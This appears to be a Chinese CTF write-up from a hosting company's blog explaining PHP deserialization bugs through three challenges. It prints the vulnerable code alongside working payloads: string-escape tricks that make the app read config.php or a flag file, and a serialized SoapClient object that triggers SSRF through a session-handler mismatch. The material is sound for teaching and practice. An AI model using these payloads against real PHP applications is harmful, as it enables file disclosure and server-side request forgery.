//update.php <?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) { $username = $_SESSION['username']; if(!preg_match('/^\d{11}$/', $_POST['phone'])) die('Invalid phone'); if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email'])) die('Invalid email'); if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) die('Invalid nickname'); $file = $_FILES['photo']; if($file['size'] < 5 or $file['size'] > 1000000) die('Photo size error'); move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name'])); $profile['phone'] = $_POST['phone']; $profile['email'] = $_POST['email']; $profile['nickname'] = $_POST['nickname']; $profile['photo'] = 'upload/' . md5($file['name']); $user->update_profile($username, serialize($profile)); echo 'Update Profile Success!<a href="profile.php">Your Profile</a>'; } else { ?> <!DOCTYPE html> <html> <head> <title>UPDATE</title> <link href="static/bootstrap.min.css" rel="stylesheet"> <script src="static/jquery.min.js"></script> <script src="static/bootstrap.min.js"></script> </head> <body> <div class="container" > <form action="update.php" method="post" enctype="multipart/form-data" class="well" > <img src="static/piapiapia.gif" class="img-memeda " > <h4>Please Update Your Profile</h4> <label>Phone:</label> <input type="text" name="phone" class="span3"/> <label>Email:</label> <input type="text" name="email" class="span3"/> <label>Nickname:</label> <input type="text" name="nickname" class="span3"> <label for="file">Photo:</label> <input type="file" name="photo" class="span3"/> <button type="submit" class="btn btn-primary">UPDATE</button> </form> </div> </body> </html> <?php } ?>
//class.php <?php require('config.php'); class user extends mysql{ private $table = 'users'; public function is_exists($username) { $username = parent::filter($username); $where = "username = '$username'"; return parent::select($this->table, $where); } public function register($username, $password) { $username = parent::filter($username); $password = parent::filter($password); $key_list = Array('username', 'password'); $value_list = Array($username, md5($password)); return parent::insert($this->table, $key_list, $value_list); } public function login($username, $password) { $username = parent::filter($username); $password = parent::filter($password); $where = "username = '$username'"; $object = parent::select($this->table, $where); if ($object && $object->password === md5($password)) { return true; } else { return false; } } public function show_profile($username) { $username = parent::filter($username); $where = "username = '$username'"; $object = parent::select($this->table, $where); return $object->profile; } public function update_profile($username, $new_profile) { $username = parent::filter($username); $new_profile = parent::filter($new_profile); $where = "username = '$username'"; return parent::update($this->table, 'profile', $new_profile, $where); } public function __tostring() { return __class__; } } class mysql { private $link = null; public function connect($config) { $this->link = mysql_connect( $config['hostname'], $config['username'], $config['password'] ); mysql_select_db($config['database']); mysql_query("SET sql_mode='strict_all_tables'"); return $this->link; } public function select($table, $where, $ret = '*') { $sql = "SELECT $ret FROM $table WHERE $where"; $result = mysql_query($sql, $this->link); return mysql_fetch_object($result); } public function insert($table, $key_list, $value_list) { $key = implode(',', $key_list); $value = '\'' . implode('\',\'', $value_list) . '\''; $sql = "INSERT INTO $table ($key) VALUES ($value)"; return mysql_query($sql); } public function update($table, $key, $value, $where) { $sql = "UPDATE $table SET $key = '$value' WHERE $where"; return mysql_query($sql); } public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); } public function __tostring() { return __class__; } } session_start(); $user = new user(); $user->connect($config);
//config.php <?php $config['hostname'] = '127.0.0.1'; $config['username'] = 'root'; $config['password'] = ''; $config['database'] = ''; $flag = ''; ?> //考点: 序列化字符串字符增加的反序列化
代码审计过后,发现序列化(update.php)与反序列化(profile.php)的点
过滤函数filter(class.php)如下
在profile.php第16行代码中,可以看到有读取文件的操作,结合前面的序列化,可以知道这里可以逃逸photo,控制photo为想要读取的文件名再访问profile.php文件即可。
phone与email的限制很严,无法绕过,可以看见在nickname参数中我们能够输入一切我们想输入的字符(";:等).只要能够使得后半段if判断通过,即可。
strlen函数在判断数组时会返回null,而null在与整型数字判断时会返回false,故构造nickname为数组即可绕过nickname的if判断
payload构造
正常序列化结果如下 $profile['phone'] = '12345678911'; $profile['email'] = 'admin@admin.com'; $profile['nickname'] = ['wuhusihai']; $profile['photo'] = 'upload/123456'; a:4:{s:5:"phone";s:11:"12345678911";s:5:"email";s:15:"admin@admin.com";s:8:"nickname";a:1:{i:0;s:9:"wuhusihai";}s:5:"photo";s:13:"upload/123456";} 明确需要逃逸的字符串为";}s:5:"photo";s:10:"config.php";},长度为34,故需要34个敏感词where来完成逃逸 构造payload再序列化查看结果 $profile['phone'] = '12345678911'; $profile['email'] = 'admin@admin.com'; $profile['nickname'] = ['wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}']; $profile['photo'] = 'upload/123456'; a:4:{s:5:"phone";s:11:"12345678911";s:5:"email";s:15:"admin@admin.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:13:"upload/123456";} PS:可通过校验hacker字符串的长度是否为204来判断是否正确,也可在本地进行反序列化,看能否正常反序列化
提交payload
访问profile.php
解码
源码
<?php $function = @$_GET['f']; function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); } if($_SESSION){ unset($_SESSION); } $_SESSION["user"] = 'guest'; $_SESSION['function'] = $function; extract($_POST); if(!$function){ echo '<a href="index.php?f=highlight_file">source_code</a>'; } if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); } $serialize_info = filter(serialize($_SESSION)); if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); //maybe you can find something in here!-> 查看phpinfo后可知flag文件d0g3_f1ag.php }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); } //考点: 序列化字符串字符减少的反序列化,extract变量覆盖
通过extract可覆盖全局变量$_SESSION
进一步可控制序列化结果中的user与function,两处可控并且filter会减少序列化字符串字符数,进一步逃逸对象
payload为GET-> f=show_image POST-> _SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:8:"function";s:10:"show_image";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
payload构造思路 首先构造需要逃逸的字符串 ";s:8:"function";s:10:"show_image";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";},查看序列化后的字符串为 a:3:{s:4:"user";s:0:"";s:8:"function";s:70:"";s:8:"function";s:10:"show_image";s:3:"img";s:16:"L2V0Yy9wYXNzd2Q=";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";} 查看需要吞没的字符串长度";s:8:"function";s:70:",长度为23,根据filter函数可知,关键词php可吞没3个字符,flag可吞没4个字符,即构造flag*5+php -> flagflagflagflagflagphp 二者结合可得 _SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:8:"function";s:10:"show_image";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
<?php highlight_file(__FILE__); $b = 'implode'; call_user_func($_GET['f'], $_POST); session_start(); if (isset($_GET['name'])) { $_SESSION['name'] = $_GET['name']; } var_dump($_SESSION); $a = array(reset($_SESSION), 'welcome_to_the_lctf2018'); call_user_func($b, $a); ?> //考点: php原生类反序列化
访问flag.php,发现
only localhost can get flag!session_start(); echo 'only localhost can get flag!'; $flag = 'LCTF{*************************}'; if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ $_SESSION['flag'] = $flag; } only localhost can get flag!
虽然call_user_func各个参数皆可控,但由于第二个参数类型不可控(定死为数组),无法做到任意代码执行。我们需要通过ssrf使服务器访问到flag.php即可获得flag.在没有可见的ssrf利用处时,可考虑php自身的ssrf,也即是php原生类SoapClient.如下
<?php $a = new SoapClient(null,array('location'=>'http://vps/flag.php','uri'=>'http://vps/flag.php')); $a->azhe(); ?>
所以,现在如何使程序去SSRF成为首要问题。
我们知道,php在保存session之时,会将session进行序列化,而在使用session时则会进行反序列化,可控的session值导致了序列化的内容可控。
结合php序列化引擎的知识可知,默认序列化引擎为php,该方式序列化后的结果为key|序列化结果
,如下
而php_serialize引擎存储的结果则仅为序列化结果,如下
在php引擎中,|
之前的内容会被当作session的键,|
后的内容会在执行反序列化操作后作为session键对应的值,比如name|s:6:"4ut15m";
里的name就成为了$_SESSION['name'],而s:6:"4ut15m";
在执行反序列化操作后则变成了字符串4ut15m,二者结合即是$_SESSION['name']="4ut15m"
因为call_user_func的参数可控,故我们可以调用函数ini_set或者session_start来修改序列化引擎。一系列操作如下
先生成所需的序列化字符串
需要在序列化结果前添加一个|
,也即是|O%3A10%3A%22SoapClient%22%3A3%3A%7Bs%3A3%3A%22uri%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
尝试修改题目序列化引擎,ini_set无法处理数组,故用session_start("serialize_handler")
再访问一次该页面,则变为了默认引擎(php),可以看到序列化结果键已经不再是name,值也不再是|O:10:"SoapClient":3:{s:3:"uri";s:25:"http://127.0.0.1/flag.php";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:13:"_soap_version";i:1;}
,而是SoapClient对象
接下来,想要使该SoapClient对象能够发起请求,就需要调用该对象的__call
方法.
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
这一行代码在执行后,$a的值就成为了array(SoapClient对象,'welcome_to_the_lctf2018')
我们知道,call_user_func函数的第一个参数为数组时,它会将数组的第一个值作为类,第二个值作为方法去调用该类的方法,如下
而__call
魔术方法会在调用不存在方法的时候自动调用,故,如果能构造到call_user_func($a)
,则可以达到执行SoapClient->welcome_to_the_lctf2018()
的效果,由于SoapClient不存在welcome_to_the_lctf2018
方法,那么这里就会自动调用__call
方法,如下
在bp中重放攻击一次,得到session
修改session并刷新
感谢各位的阅读,以上就是“PHP反序列化、魔术方法以及反序列化漏洞的原理”的内容了,经过本文的学习后,相信大家对PHP反序列化、魔术方法以及反序列化漏洞的原理这一问题有了更深刻的体会,具体使用情况还需要大家实践验证。这里是亿速云,小编将为大家推送更多相关知识点的文章,欢迎关注!
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。